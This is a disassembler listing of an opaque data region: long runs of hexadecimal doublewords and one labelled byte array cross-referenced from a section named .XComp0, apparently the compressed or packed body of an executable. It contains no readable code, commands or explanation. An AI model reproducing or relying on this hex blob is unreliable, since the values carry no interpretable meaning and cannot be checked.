		dd 159FCCCAh, 8CE0069h,	9C02A898h, 0B2009247h, 0D3B1D980h
		dd 5C0D78B7h, 0CD0024A9h, 0F22F84DCh, 7C92AF21h, 0CF157A07h
		dd 7320EA24h, 0F8F0FA31h, 7470F942h, 765E0BD7h,	0D000E565h
		dd 82D5BEE2h, 74E4A770h, 91081B00h, 0B859B096h,	7C9A0139h
		dd 9C0D7797h, 0A6FC6594h, 7600FC11h, 3378E6C9h,	0A98900F4h
		dd 5B9ADE67h, 3601A29Eh, 18498ED9h, 9881FAF9h, 0BDCD8884h
		dd 0B8CCD494h, 1CD15Ch,	0F255D05Fh, 0F01E0C4h, 0DA6DD830h
		dd 90288FE7h, 76C10585h, 66ABCD0Bh, 0E8FC00CAh,	71577BFh
		dd 0D8758C7Fh, 3318FC34h, 59301E0Eh, 0A9FBA071h, 3E1FFFAh
		dd 0F6ED439h, 3FB80BB7h, 0BD004D44h, 0F9F59872h, 0E89E3Dh
		dd 482161AAh, 2DD11A17h, 66FF27h, 6434600h, 0E8E140D6h
		dd 0B3923Dh, 8BFA9013h,	71D122Ch, 8BF9F82h, 1771905Ah
		dd 0DE006127h, 23CB7C38h, 74BCD47h, 4C6AA3CFh, 5B158Dh
		dd 80500BE0h, 74E82B67h, 0EC640F07h, 0C3B1011Dh, 44FC8A39h
		dd 795200DBh, 4060DAD5h, 7801C716h, 0A5B1205Bh,	61F03D23h
		dd 0E6D00768h, 709BB662h, 5C6B809Ah, 5E4CFEFEh,	762B1C0Eh
		dd 0C13B91C0h, 90B692Ch, 466FC6BDh, 0EBC8C80h, 0D124865Ch
		dd 0B600F2DAh, 0E3845E1Ah, 0A96A00EFh, 0F7651BBDh, 2E02DE31h
		dd 28762027h, 10C7E033h, 872F00FCh, 0CDE84115h,	0BCF695D9h
		dd 5814284Ch, 48B47D80h, 0F6AA8A00h, 94C6E781h,	9CDB07E8h
		dd 0B294C3DEh, 0AB222DA8h, 9A66BB0Fh, 1EF06072h, 724F4EC6h
		dd 0E13C0035h, 8634323Ah, 0A9F0CF9h, 0A4202EE2h, 74B092E2h
		dd 0AA534B00h, 0C439CE4h, 21461C14h, 0A2198025h, 6144F22Eh
		dd 0A6F12004h, 0E081245Ah, 1C38B73Dh, 3188E200h, 58829D3Fh
		dd 0A1C790C0h, 0FC483D2h, 6EF61AC9h, 0EE22C520h, 3F00A9B8h
		dd 30E0B726h, 63BCE8h, 9CC076F6h, 8C77E958h, 0D3C15A1Ch
		dd 24006A97h, 716C756h,	128CB884h, 1CCB9577h, 0D8419458h
		dd 2250CC24h, 0E8E01ED8h, 40A9818Bh, 0FA0D3F6Ah, 303164E1h
		dd 9709281Fh, 41E37C02h, 25FC3B44h, 2A3600EAh, 551B6961h
		dd 6D395BCCh, 7E490016h, 20FC1F60h, 9559131Ch, 137C0064h
		dd 0C3E62FAh, 2C4CAC04h, 50C02BD0h, 1346DC3Fh, 407C4020h
		dd 0F269526Ch, 601D97Dh, 0DA785533h, 39C879E3h,	0E5420054h
		dd 48157E84h, 7D0405EDh, 2F3890AAh, 8E9A7280h, 0A9AD3D69h
		dd 78BC00F7h, 5087D775h, 460019F3h, 2C418363h, 0C7E7C2h
		dd 0FDB720D5h, 0CB484A68h, 82F8F213h, 0F35A403h, 31A0A824h
		dd 473E09D6h, 0EB80DC63h, 0BD1C22E3h, 0E42E600h, 304C0699h
		dd 19D1006Dh, 5531F351h, 8814C58Dh, 0F417AAh, 0F1254A15h
		dd 0E5F2E27h, 2A76263Ah, 603F1AE1h, 2D73F039h, 37CC2800h
		dd 126FF96h, 1D377C4h, 27FE9411h, 80D1E102h, 0B51DB110h
		dd 765624h, 7829A5D9h, 96BACA88h, 30FF7050h, 0AA00D0BCh
		dd 0B2186AE3h, 0EFDA0073h, 2A451FF3h, 0E201166Fh, 7558D5CCh
		dd 82D82B9Dh, 0E9C80E1Dh, 5D6045DAh, 0AF57FD89h, 69D8CF00h
		dd 0B0AC08FFh, 0D9904C2h, 80B59656h, 0DA2EA74Eh, 300F1173h
		dd 2333B3h, 0EAC385Dh, 0E376036Bh, 66F7774Fh, 0FDEB5EF0h
		dd 3E553A00h, 288035CBh, 0D43F16F2h, 60123Bh, 0A320259Fh
		dd 5C7868FFh, 17709B60h, 143C6Dh, 442503B3h, 0DEA9A4FAh
		dd 807AE73Fh, 0E58895A3h, 0B23AD6F3h, 9BC40044h, 0AAE9E0C1h
		dd 0C49EEA82h, 772DB084h, 80BFA8C0h, 0AD1D1F47h, 0ED9388h
		dd 43155E29h, 0BC00C034h
		dd 41F6C66Ah, 0BD0E273h, 2B689408h, 51625C80h, 6C0096D2h
		dd 0A3B446CBh, 5FC836h,	9041EF97h, 70871B5Bh, 942288C1h
		dd 586012A8h, 777B2AA2h, 7572C0CCh, 6CBB4B49h, 0F4CFFFAh
		dd 6E5C03C0h, 0D06B4299h, 0F1D8A7h, 0B3FC9AB2h,	0E24CA58Bh
		dd 0F4AE661Eh, 0F6318680h, 49B93B6h, 8260B052h,	34D4C041h
		dd 0EC90A138h, 3D984300h, 949EE1FAh, 88E00386h,	0EBDBB47Eh
		dd 0A34280C8h, 77FEE0Bh, 0DA8C00C3h, 0C65FC5h, 0E9197B98h
		dd 8C9BFEB7h, 3C03BFF2h, 96254FDCh, 21800E8h, 7B8175FDh
		dd 8B0F10CAh, 0E09FBB58h, 86339D1Eh, 471A01F7h,	2D0BCE29h
		dd 80DC60CBh, 150036FEh, 28D214BEh, 0A0087975h,	460594h
		dd 0A6A1DEF7h, 19EDF837h, 0DA740F02h, 0D09D0929h, 288C48ECh
		dd 82E6FA00h, 54138D64h, 0D4017B76h, 0C87D5D37h, 9170E0CAh
		dd 0CBC90F39h, 0CEE0E4DAh, 98979674h, 499422Eh,	1C7AAD02h
		dd 60EC8EB7h, 0E766FC8Ah, 35A724DDh, 88920775h,	7E8FF1A6h
		dd 9E36D416h, 0C506391Fh, 717841C4h, 0E5F94CC0h, 57BC485Ch
		dd 0A44C8A00h, 5F699912h, 0C47879B0h, 81C524Bh,	284CA5h
		dd 81DD435Fh, 0DEDB059Dh, 2E010CB4h, 291273CDh,	502D41CCh
		dd 0F0D7A038h, 322400FDh, 0FEE07A15h, 0BF493405h, 0E7400124h
		dd 72521A2Fh, 7C601C21h, 0A4AD03A8h, 7F028F30h,	36ED0CC8h
		dd 0E42C8A17h, 3F48BC00h, 9BBDE5h, 0D8C43C22h, 2AFBED27h
		dd 0CB33A800h, 1F94F2B0h, 5736017Ch, 90BA7DA7h,	1B608076h
		dd 0F0404716h, 49EB0B09h, 0B88FA7C9h, 2F710BA0h, 4D2D0217h
		dd 33D4803Ah, 7FF0C47h,	522707B1h, 43F76025h, 9D28FD18h
		dd 1900C0D2h, 0EDDF440Ch, 2EF5A4h, 8E0766C2h, 57EAF859h
		dd 0FD7D4Ch, 8C064B2Dh,	0B7E69Ah, 62D87C75h, 709CF5ECh
		dd 774AFD03h, 0E8A484EBh, 71C311ADh, 0B44E2597h, 8C9A0440h
		dd 0DC003F70h, 0E8A03E01h, 0AEAC49h, 9BD46DE5h,	8F3FFCA6h
		dd 819F9A18h, 3D7BB212h, 0D2A48B13h, 0D6A700E3h, 909ADCB1h
		dd 0CC2CE500h, 7143F0B4h, 8E7500D4h, 929ED5F4h,	0E500CF7Eh
		dd 0F60156B0h, 0F2C84Ch, 1A0572A6h, 19C1FC53h, 0D000C98h
		dd 20292C62h, 134746h, 1F534EFEh, 12483732h, 364BFF1Fh
		dd 0BE4FE4C0h, 2D093FE7h, 0BC60FBACh, 0A1840E6h, 0B810F9A9h
		dd 0FCBD0F35h, 7DE27872h, 0A840A031h, 8100C7DDh, 0FDFFCD6Ah
		dd 7C764C5Ah, 3C61B03Fh, 17A9928h, 1A926B7Fh, 0C089AD02h
		dd 4E7B492Eh, 0D5ACD65Ah, 9BB76303h, 0E1D09170h, 0FF001ED4h
		dd 1CF3EE53h, 0DFE085h,	57A5A4EBh, 0A290CBE8h, 9412C22Eh
		dd 76ACBA00h, 1F3C0AEh,	0CCEA839Fh, 303D13D8h, 0B472FB34h
		dd 99A33300h, 27454FFCh, 0C80807D1h, 0E95A97D9h, 0C3DCAC80h
		dd 4D06198Bh, 767BD49Ah, 0EA8D1819h, 9BF93017h,	0BC00207Ch
		dd 0D7AA4CFFh, 9F72D54h, 0CA2B45F3h, 74D9B800h,	0C81EFBB2h
		dd 0A1801699h, 0A2BD93CBh, 8D46004Fh, 0D9966B50h, 22041FE9h
		dd 0E6611963h, 4087E0D2h, 49EAE2C0h, 4E00D4D1h,	38BD182Bh
		dd 0DB044559h, 5EBA2E33h, 43899080h, 0A2291F5Dh, 73C040B0h
		dd 915A2297h, 76111A02h, 0F0EF0210h, 18A1E29Ch,	599B2498h
		dd 23004918h, 14DE3C9Fh, 0E44B4h, 56512C1Ch, 0C01D4629h
		dd 6C3DE11Dh, 0DCBEACA6h, 16F90BCEh, 54C9805Eh,	5B39CBh
		dd 5A287852h, 5574C169h, 12E47E07h, 0A01F33DFh,	9911D10Dh
		dd 64854C1Fh, 484A139h,	0A0A20F05h, 911FEA3Ch, 86468ACh
		dd 0EDA4803Bh, 856B78FAh, 0BF7E00DFh, 614B5AA8h, 0AC98FC21h
		dd 0A5D24800h, 83E43E26h, 0D00A004Eh, 0DD3F3B97h, 11004F6Ah
		dd 1AB965D3h, 9861FC2Bh, 922C000Bh, 62FB301Ch, 10C0FD09h
		dd 0F922B915h, 0D690023h, 74418E76h, 0AA070B19h, 0B7D584BDh
		dd 6DF5AE30h, 0B12C000Fh, 0C767BA7Eh, 6A0027D4h, 4609E535h
		dd 0B0FB9323h, 311001F4h, 89D882DAh, 1A43C42Eh,	0DC088D00h
		dd 0C20A3F60h, 7B5258A2h, 0CBAF920Eh, 5D39E100h, 0B70145ABh
		dd 2D5B130Bh, 0F8ECC215h, 0D74C00FAh, 0EB237B6Fh, 4B1CB37Eh
		dd 63407330h, 20F099E7h, 0B07C4AA9h, 2D00EE25h,	5AFA28C2h
		dd 0DDBBD0h, 0E80B64C6h, 0F795E947h, 0AAD5E0Eh,	63A9A065h
		dd 58488BDBh, 100014D5h, 0A21C0BA4h, 0F600DCABh, 60029ECDh
		dd 1117270h, 7C072638h,	0DA8B31D2h, 0F5C1D84Bh,	0DFB7F485h
		dd 69ED2900h, 6CD443B0h, 3F5B2E0Eh, 401E36h, 0A718B856h
		dd 5C388F05h, 671B8013h, 2B203DCh, 345D0269h, 6E552824h
		dd 0F4704760h, 114C1400h, 63C99BFAh, 7BBA001Ch,	2AED3946h
		dd 6DEA2124h, 8C6C613Bh, 3872B106h, 83EE0F6Eh, 0F0603057h
		dd 2B964C92h, 80554224h, 0D2A1FD09h, 9D13054Ch,	908F43F4h
		dd 3ED7106Ch, 90FE217Ah, 321DE4A0h, 4B057900h, 175E2542h
		dd 0D2920328h, 0CD6474F7h, 60F6B4D1h, 52003570h, 8332CB39h
		dd 51042Ah, 0F912553Ah,	0CDCCAA5Dh, 677B3CB0h, 0E60075F4h
		dd 50C5BC68h, 2143992h,	0FA1744D9h, 3060309Eh, 0AE000B1Ah
		dd 3D2A0EF7h, 2F013827h, 0D870E297h, 6070670Eh,	0AF08E090h
		dd 65E383h, 0F113A134h,	12FFB2A0h, 809FAA3Ah, 2B544318h
		dd 0B01F3CE9h, 4750F0Ah, 0D704DF1Eh, 5438802Dh,	4C035929h
		dd 67D0346Dh, 0EC5DD87Bh, 0D92B009Ah, 353C42A6h, 0C2187830h
		dd 0EBA02C6Fh, 0BA100392h, 0FFCED0C5h, 19B97EF0h, 0B2949A00h
		dd 3B520414h, 312302EDh, 76DC0A88h, 4D9071E3h, 2F01FEA2h
		dd 1CCEC613h, 91603053h, 174B007Bh, 215A7DC8h, 2D7E6687h
		dd 7C8AD32Ch, 0F2A59961h, 0DA008862h, 63F9A34Fh, 92172EEBh
		dd 0C2006804h, 0F1D0365Ah, 0CFB409BAh, 400E580h, 0A8770FDBh
		dd 71FC78B5h, 5DD80088h, 0ED186475h, 15F09C2Eh,	8931BF07h
		dd 8F05092h
		db 63h
byte_565345	db 5Fh,	0FDh, 3Bh	; DATA XREF: .XComp0:00452EF4o
					; .XComp0:004532ECo
		dd 400FBA8h, 22B1D57h, 0AA0745A9h, 0B3D62A4Ah, 0B0348F33h
		dd 9CFC411h, 12585E33h,	0EE00F470h, 93C9E565h, 9E8CC7Dh
		dd 9DAF4CB8h, 0A3349980h, 7F03A5CDh, 0F8FF7226h, 9766D061h
		dd 882D4F39h, 23003048h, 0CAA9080h, 7CA2B9h, 5B9F841Fh
		dd 5906D2B6h, 57620E0Dh, 0F3E440F7h, 9F4E000Ch,	0A250E768h
		dd 50116C7h, 0E886FE74h, 56C083DDh, 4094C1h, 99F6B5A1h
		dd 2F0076AAh, 0DBF7608Fh, 86C194h, 0D0A67716h, 0AA637DA5h
		dd 1B22B300h, 0D7D52F36h, 0A349C98Ah, 65231780h, 0F2C01011h
		dd 0EB25248Dh, 0C5F277h, 26698E3Eh, 0BC7F2048h,	413CA57Eh
		dd 0CF4C0332h, 9BF064FFh, 3BC7F844h, 23F0016h, 195B6BF6h
		dd 8005052h, 0E514E26Ch, 8B8735h, 2DD9CB5Dh, 1E89565Ch
		dd 476DA3Ch, 3FFD6DB2h,	4D20B080h, 40A4B2B3h, 400D233h
		dd 854C1EF5h, 0B84F9h, 0EA652B02h, 615D2C21h, 5A50471Eh
		dd 7CD93Dh, 3F8EFE78h, 193915h,	36B3525Dh, 0B576A460h
		dd 8B6442Eh, 0EF8C6D00h, 1C9FD5ACh, 575C06BFh, 0FAF020E2h
		dd 62035B57h, 0DBD97F11h, 0B43E0BBh, 3BFB0ECCh,	7AAF5C6Ah
		dd 0ADA60C60h, 3828F693h, 4F00C8A7h, 0F0036B8Ah, 6069EE44h
		dd 3127B87Eh, 600159D9h, 0AD7B2B4h, 52202BFBh, 0BEA0E0Fh
		dd 0BB47DFC3h, 0E9380017h, 0BCB04031h, 6450009Fh, 51F74h
		dd 6D09EA4h, 24029FFDh,	8284B00h, 0EE585229h, 0BF760571h
		dd 801A4C49h, 7F1C3130h, 0CFC7D113h, 63426001h,	7B701247h
		dd 0AFCA1827h, 5B2A18CEh, 1C7B4F2Eh, 990F5A00h,	3B2E859Eh
		dd 0BB809BFEh, 0C565D47Ch, 0DF005CDBh, 0B0909916h, 2BE4795h
		dd 0A64E7B7Ah, 0EC63F936h, 703A5876h, 0C58003C8h, 0B8725E06h
		dd 23F9DB8h, 5982769Ch,	0E240F423h, 9517EC98h, 4D00975Fh
		dd 0FEB67746h, 1EB70785h, 50F8E662h, 0D4C439A3h, 1267B900h
		dd 6DA23EE5h, 7444B8AEh, 8C230518h, 0BAE8E7A0h,	4206B0h
		dd 0ED500679h, 0C9600316h, 0B87C9A00h, 0DE9C2162h, 0AEFB07EBh
		dd 71E63994h, 7069C495h, 17F81E5Ch, 6128AD6Fh, 1A3CCA65h
		dd 413C82Ch, 80F0E234h,	8A4C66CBh, 12DF2C70h, 4B948344h
		dd 99D8C3A3h, 0A200AA8Bh, 0B56DA0E6h, 2DE870Bh,	7156E574h
		dd 0A480E143h, 0AD0C2103h, 3E12F501h, 49CF0E39h, 11C4570h
		dd 9773445Bh, 8BD6D4CDh, 0C4655488h, 22740998h,	5CD85366h
		dd 0D3EFCE03h, 98CDB7EEh, 26F2DB75h, 4C5C6AB9h,	0A538CEA1h
		dd 402748h, 0E0082200h,	587C018Fh, 161C4C43h, 8815E427h
		dd 0A900CD7Dh, 0AF5A8D79h, 0BABE57h, 0A80B4422h, 6FAA8CA2h
		dd 2AFBE900h, 1F41ABBDh, 16F700C2h, 43DFB3F1h, 0EC39A81Dh
		dd 0E0D20015h, 6C6E2248h, 3E4B34h, 23375260h, 4603412Eh
		dd 3F480110h, 0D4A8BD1Bh, 3604F14Ch, 0A28D9FEBh, 0E4ADC17Ch
		dd 0F7F0D7B7h, 0F6C3008Eh, 0CA287A3Fh, 0F006326h, 174D5647h
		dd 9F85AAh, 4619E573h, 533A2C0Dh, 0BF11543Ch, 0BA8C8F7Dh
		dd 0D764A076h, 3C5C95h,	0BDD5F4DBh, 8F7AFDDAh, 8F34E00h
		dd 0D24E316h, 0B2D100C6h, 0CB8A339Fh, 223BB1BDh, 0AFDE96F4h
		dd 58908A0h, 0E5B87991h, 0A018870Eh, 8DBEACD5h,	0AE554F00h
		dd 6D9A0BC8h, 81AF00D8h, 740859CEh, 0FD001ED5h,	79E5B7E3h
		dd 300529DAh, 35E002F6h, 98C1A85Fh, 0A4B24B93h,	6A002C3Ch
		dd 9811AFC8h, 0AE0099E8h, 5E71A313h, 23020Ah, 5DAAB9EBh
		dd 3FCBD1BFh, 580DB17h,	0CE8E8400h, 75113764h, 356F0939h
		dd 2C901E0Dh, 0AB7BBAECh, 89FF38h, 0FCAE983Ch, 13E08B9Bh
		dd 32FA49h, 551A65D0h, 5E001841h, 4635EB2Eh, 1D0A365Bh
		dd 5FEA2F6Fh, 0BC374143h, 80CFC567h, 2703946Eh,	1DCEC401h
		dd 0B0B11238h, 0E50DE110h, 786BF401h, 0C83975D9h, 77254024h
		dd 0F6FC0121h, 0DBA2131Fh, 3F6007D9h, 80ECB04Ah, 1B56BFDh
		dd 0B157B8C8h, 0DD072038h, 2056ACE7h, 0E288A112h, 0F400AD78h
		dd 0BE53067Eh, 62F692h,	500581EEh, 5AFE88C1h, 0C0D40104h
		dd 40800D2Dh, 124E60ABh, 1252C8E0h, 0CC004123h,	20ACFAA0h
		dd 0A70995BCh, 94C54Fh,	88A2E497h, 267700EDh, 7DC48B4Bh
		dd 6900F53Bh, 8911AEEAh, 0B0ABBCB6h, 4E4D003Bh,	675B937Fh
		dd 0F90074BAh, 0FF480E5Dh, 0F4B786h, 0ACC16C53h, 52BB2983h
		dd 79236917h, 93807081h, 108025EDh, 6CAAD3C3h, 0E7009511h
		dd 0FFB8A868h, 3B09E14Fh, 1B80478Ch, 800B17ABh,	0B200F6AFh
		dd 7AEC4D05h, 519412h, 979ED1A5h, 14CADE5Ah, 0A8A3500h
		dd 38DA31FAh, 4C9000B9h, 509F5EBEh, 0AC0030E1h,	5D7ECD93h
		dd 0B2250B19h, 37D10FD8h, 0C560D298h, 0A3937699h, 0FDD4E202h
		dd 78BA34F8h, 70F277FCh, 3ACB0C0h, 1D755E41h, 77E8C2F1h
		dd 4700B9A3h, 0A44626Fh, 76C01920h, 2F1600EFh, 5139E201h
		dd 5C2C9B1Ah, 6B00E86Fh, 8D75F1D6h, 1D08B065h, 40C80680h
		dd 0CF8E6ED1h, 21002336h, 0FB0DB47Bh, 0E0848h, 0CCE645BFh
		dd 1BF33A03h, 0BA07B098h, 0D564B2DBh, 0F477EFE0h, 98E6E2h
		dd 0D3C26ACCh, 0CD3B6B2Ah, 1B4E2100h, 0B5CB5788h, 3C9D0FE8h
		dd 0CE9E9B18h, 7BA0C485h, 2C4B0702h, 69D42300h,	90C30F4Fh
		dd 0EB2A0018h, 0E575198Ch, 867D3D4Ah, 0D78AC701h, 0AD24F6FDh
		dd 1EC1F2F4h, 0B4B712h,	856DBC50h, 270029FCh, 0DE2A7F15h
		dd 1F434D98h, 402159E7h, 0FEE38754h, 0F1077349h, 5932F27h
		dd 0F22800C9h, 743620h,	76090FCCh, 1E38EF56h, 70BB5100h
		dd 27045945h, 291D388Fh, 0ED42007Fh, 691BD546h,	1C98720Dh
		dd 688AB033h, 0CD33BA2Ah, 8D80BB80h, 62F97325h,	7103C449h
		dd 112A353Ah, 4E00F786h, 7CDA57Eh, 17D63ED2h, 20EFF742h
		dd 0BB528327h, 0B45FC400h, 643C65EEh, 7D5600DBh, 6C214DE1h
		dd 1800E016h, 0FC97620Ah, 0B4341B5h, 3ECFC910h,	685A7809h
		dd 0D4070E0h, 4807F90h,	3CB3E0A3h, 134FC1Eh, 742370F2h
		dd 0B03FE908h, 10F0D6D8h, 8D18F360h, 4220F4h, 26BB4758h
		dd 727B2489h, 0AB48E100h, 0E93B6308h, 0B07567h,	0C1CD203Eh
		dd 43579846h, 0DE42D90Ah, 2C009C33h, 123AF565h,	3023007Ch
		dd 8B2BE81Ah, 74147EC9h, 0A858CBh, 52C7C318h, 0BDA725h
		dd 89CF0364h, 0BEBC1750h, 0EA5D3Ch, 39E55390h, 7BAB9Bh
		dd 0AC7F8CE1h, 7AB09D11h, 7D89E218h, 18399610h,	801678A2h
		dd 0C1000EF6h, 4A82E674h, 1DAD447Bh, 1256748h, 663C9B58h
		dd 8BB5602Dh, 0D6E111C2h, 0E5D8E086h, 59F4007Fh, 0A0BD83B0h
		dd 2800D715h, 7A51E030h, 1CD9D8h, 0DE920A7Fh, 6B83F0CCh
		dd 6804240Fh, 7DD40111h, 0D971D8D2h, 83073C78h,	724E092Eh
		dd 54603D33h, 0B800D1B5h, 76EBDA9Ah, 2717ABEh, 0EDE4ACBh
		dd 54762EC0h, 0A8E67900h, 3B1A474h, 0F18AB6DAh,	0C3A86AAEh
		dd 8B3EB5DBh, 686B80EEh, 9B4C19BBh, 584F0084h, 7B178DB3h
		dd 0E8C1758Ch, 6A249DC3h, 0B0679460h, 0ADF9102Ch, 0BCEB001Bh
		dd 84FDE94Eh, 3D8605E6h, 0B80FA922h, 6D910060h,	9BF902D4h
		dd 2B421EC9h, 0A7F480FBh, 29A94941h, 8661D200h,	0D75147F9h
		dd 148C006Ch, 0EE6E28F0h, 5A01F82Ch, 0CFA8CBADh, 7D606608h
		dd 3F220010h, 5228A28Ch, 0CA03CD7Bh, 12F1B4BBh,	8573C06Eh
		dd 2EF40092h, 791C84F6h, 0F207B2D0h, 0B0CEA0F3h, 0E3A5BB80h
		dd 0E788E07Dh, 0A89760h, 7C814E03h, 0C9AA35B8h,	456D9800h
		dd 3FC20594h, 69F20F15h, 3380C571h, 2EE1AFCBh, 1803684Ah
		dd 0C8A8C6E3h, 12396AA3h
		dd 808FEA2Bh, 8AC3EFF8h, 0B859622Eh, 0F700F696h, 92CFE7DEh
		dd 5C890041h, 3F99E432h, 8097D551h, 6FFF3650h, 1D5200E6h
		dd 2EE2246Ah, 4E001F15h, 70D14299h, 0B3740Fh, 0B4683F5Eh
		dd 8D0DDE2h, 84440300h,	89D4921Bh, 0C27FA9h, 83E35F2Fh
		dd 49CF3C24h, 6AFE5400h, 11CC9B28h, 188B6D5h, 0F7C16EECh
		dd 72B44397h, 29191DD9h, 4DC00190h, 0FFE574CBh,	63E2B9F4h
		dd 405D70B8h, 0CE257E98h, 77984C00h, 7A2DCA0Dh,	3B830146h
		dd 0DDB6D422h, 6C003F86h, 87F4B08Ch, 7F7888h, 0CF0D784Fh
		dd 70A2E64Bh, 14352100h, 0E5F217BBh, 0A84C0BBFh, 4800A116h
		dd 4EB9C4B4h, 0D13AF172h, 0A98A964Bh, 223C0CA4h, 0CF2736A6h
		dd 8C3C41E9h, 0BF1FA216h, 0CE8F5A06h, 0DA4D0085h, 8FC010h
		dd 7DF7FE91h, 6A753C9Ch, 0F6B5E100h, 6B1DA48h, 0C1A35BBAh
		dd 40DD59E4h, 0EB7957E0h, 90B6FA00h, 6C1B52DAh,	1C4E00E2h
		dd 0FC29BE65h, 847F8091h, 60DD082Fh, 2CD157A4h,	550D82h
		dd 2DF09A02h, 0EC0A554Fh, 0FC276084h, 29E48F00h, 1FCAB8Bh
		dd 2D4C6D85h, 6BCDE37Ch, 0FFFC009h, 0F4F434h, 0B2D95807h
		dd 58B71B97h, 6008422h,	9AB34D61h, 0A2001DFFh, 60CA9243h
		dd 2485E3Bh, 442A55DEh,	0AE80E13Eh, 432249A6h, 266051B8h
		dd 1B3363D8h, 2C643916h, 0CEF628h, 1DDDDED6h, 0A95AF783h
		dd 0C2311E01h, 3AD39490h, 536C007Fh, 65E8722Bh,	7F008EEAh
		dd 7175B25Ah, 0B027C7A0h, 84150178h, 30395689h,	0E456D6BFh
		dd 993F740Ah, 792AA400h, 1EE55990h, 84E67CE4h, 0FEBAC69Ah
		dd 0BDC8F7C0h, 0CFA90E97h, 8B80A2B6h, 9D0925E8h, 48A33616h
		dd 5DC16A02h, 0A8D8BBh,	62C4F1BFh, 9B6AEA0Dh, 0A0428B13h
		dd 3397BD00h, 0E7D63BEh, 7196E499h, 0CD6F8E5h, 0F3A073ACh
		dd 0AF6CAE3Bh, 8F4841C7h, 4FB5EB00h, 96FCEA02h,	0C0C31984h
		dd 0A5C758h, 42989599h,	0E8096E79h, 0CCB2262Eh,	3E3803Fh
		dd 5B8B7D1Dh, 72C5021Bh, 0B9AFB123h, 0C700B0D0h, 509336A3h
		dd 92F1D988h, 0E0C24058h, 0EAB8580Eh, 0FD1680BBh, 29EB61h
		dd 0C3215ED9h, 0BD53BC36h, 0F38E5500h, 8C566589h, 0EBBA03B3h
		dd 0B068C4DCh, 0DD363FD0h, 281D3107h, 62001857h, 1F116442h
		dd 7FFA751Fh, 0C0053597h, 0F6DF84Ch, 0C641D103h, 9FD1145h
		dd 8DBA1310h, 0EB3F7072h, 77F8DEBBh, 2078812h, 5C990298h
		dd 951E30DCh, 64DD5300h, 73225FEh, 905F2C7Bh, 7C6F7072h
		dd 0C3FCADDFh, 0D5DE38C3h, 269679h, 0C8D4E2C9h,	66EEBDD9h
		dd 0A410E00Fh, 7A84E081h, 1E415D05h, 804AE173h,	7223F2DDh
		dd 9F00E028h, 8FF0513Ch, 588EF3h, 0C398F5A0h, 1F375A68h
		dd 0A2792B0Fh, 0E78A807Ah, 3664E9h, 875FCA7Eh, 0B3F10B26h
		dd 3A41DD00h, 692C2BDAh, 708216C5h, 4C24A0FFh, 35EB5F03h
		dd 80D98B41h, 0ED6B47h,	0DAA05333h, 0F46C4EF9h,	8DE12604h
		dd 4A0D77Eh, 8E280203h,	56FF2C20h, 0F018A687h, 0D0EE4E9h
		dd 1F2C135Ch, 6067928Ah, 0E0D78F90h, 0C3930082h, 0BBE04B11h
		dd 4A09BC74h, 0E0529FB1h, 98BD434h, 996E0A62h, 1C3F2C70h
		dd 13E71D20h, 53A16D05h, 0FC1F40C0h, 5E380E6Fh,	0ABA01851h
		dd 528EC46h, 39138700h,	0FCB3C02Dh, 33710034h, 502FCD89h
		dd 0A172655h, 0AC000EC9h, 49C1CCF9h, 0F4D05870h, 3260DB07h
		dd 0B06A50CEh, 91F293B1h, 4C4494BAh, 0CEA83E86h, 0B86BDC80h
		dd 0B6CB53EEh, 968ED407h, 2E60E2C6h, 0D60398h, 0BEA43382h
		dd 8E05D370h, 0ADF2A700h, 3D949ED8h, 0DB350095h, 733CAEE5h
		dd 97000219h, 0AFD7F57Ah, 94F92Eh, 0C30E9548h, 0ED7F3561h
		dd 66101800h, 0A60D2238h, 7C901ECh, 4D8A710Ch, 51FEDC89h
		dd 5F2C5679h, 0B712B216h, 27001CADh, 210E3C89h,	1010F76h
		dd 0DF7E3E22h, 0AC833FCh, 7F087D25h, 8F7079h, 855B5F28h
		dd 59D7F3Ah, 60301D7Fh,	10882E3Eh, 0DE3503FAh, 0B28CD534h
		dd 0A800AADCh, 3C661720h, 74E50527h, 0D06F09E6h, 6C4DEA18h
		dd 7377F200h, 6A7E1757h, 68C605DFh, 1283320Fh, 186420A8h
		dd 0C5008B80h, 0FB54B4EEh, 5E977025h, 71D488C1h, 0E5BA9402h
		dd 0C0763BB3h, 0B7E4EC8Dh, 38366C03h, 90BBAFC1h, 370A0611h
		dd 105425h, 73100365h, 2949A49Eh, 300F0080h, 94D9B506h
		dd 67FA1614h, 3915037Ah, 0F187D4D2h, 82BC19FCh,	0EE06BE8h
		dd 30ACDCD5h, 0DD4DF41h, 3C20A0E1h, 0CBBB752Dh,	652021B0h
		dd 0BD168110h, 2C860A83h, 717B0B0Ch, 0DB02FC72h, 7CE6E0DDh
		dd 7366E076h, 49AC1E4Ch, 4290800Ch, 5780F7E4h, 54518F00h
		dd 0FE27CA2Eh, 2499002Dh, 2640B01Ch, 8B00D9C3h,	7C14BFDAh
		dd 43BBC1h, 38EC3072h, 0CAF1E776h, 9FD4C203h, 0C8021624h
		dd 0A46DDAh, 8810BEB9h,	20BF7FFAh, 0CA3D402h, 40B3C3F0h
		dd 286DDAh, 83FB1D5Ah, 2B13D074h, 376EDD0Fh, 0A226C036h
		dd 600A0B29h, 0C9DCD9F9h, 8314C496h, 33AC37C6h,	0F708EEh
		dd 96E1BD21h, 6419709Fh, 62002B7Fh, 2F763410h, 0CBCAB1h
		dd 7F2C593Fh, 0FF1B3967h, 94E49628h, 15D0D05Ch,	3C42D24h
		dd 0B1690F0Ah, 8106A3AEh, 89917A7h, 0EDED211Ch,	41A6DC69h
		dd 5377231Dh, 0D8715030h, 68FC6B1Eh, 0F511D85Ah, 0B5062C83h
		dd 20DB1AA8h, 9F4F240Ch, 6642384Ah, 0F80AA673h,	0F4B3E300h
		dd 0FE2B12EFh, 9B150C21h, 0DF10FF80h, 3E006179h, 0B9D24EA9h
		dd 4AAC6Dh, 88E255E1h, 0DB53289Bh, 22996F00h, 7BA20BF9h
		dd 1DB71F09h, 0E97700ABh, 3D1D919h, 96821300h, 0D322A155h
		dd 0EFFD00A0h, 6EED11BDh, 81005452h, 8DD9A5DAh,	0C3993h
		dd 0D6495EA6h, 2A835D0Ah, 6859D800h, 0A9DE7F1Eh, 52533E6Fh
		dd 0FFEE1F00h, 0D85F492Bh, 69E3A500h, 0E5F499FCh, 0CCDC0011h
		dd 4F5B9A8Ch, 83E0F124h, 3B272D00h, 2E7808D1h, 9E4A0046h
		dd 15ABF4A5h, 540543A6h, 1C866BF8h, 502794C0h, 8616697h
		dd 0D70E21EFh, 20918673h, 0B3E18D22h, 0F48E0123h, 0CCE7114Fh
		dd 0BDB0CF83h, 0C0027BFBh, 48CBE2D8h, 29E1E18Bh, 0E9821880h
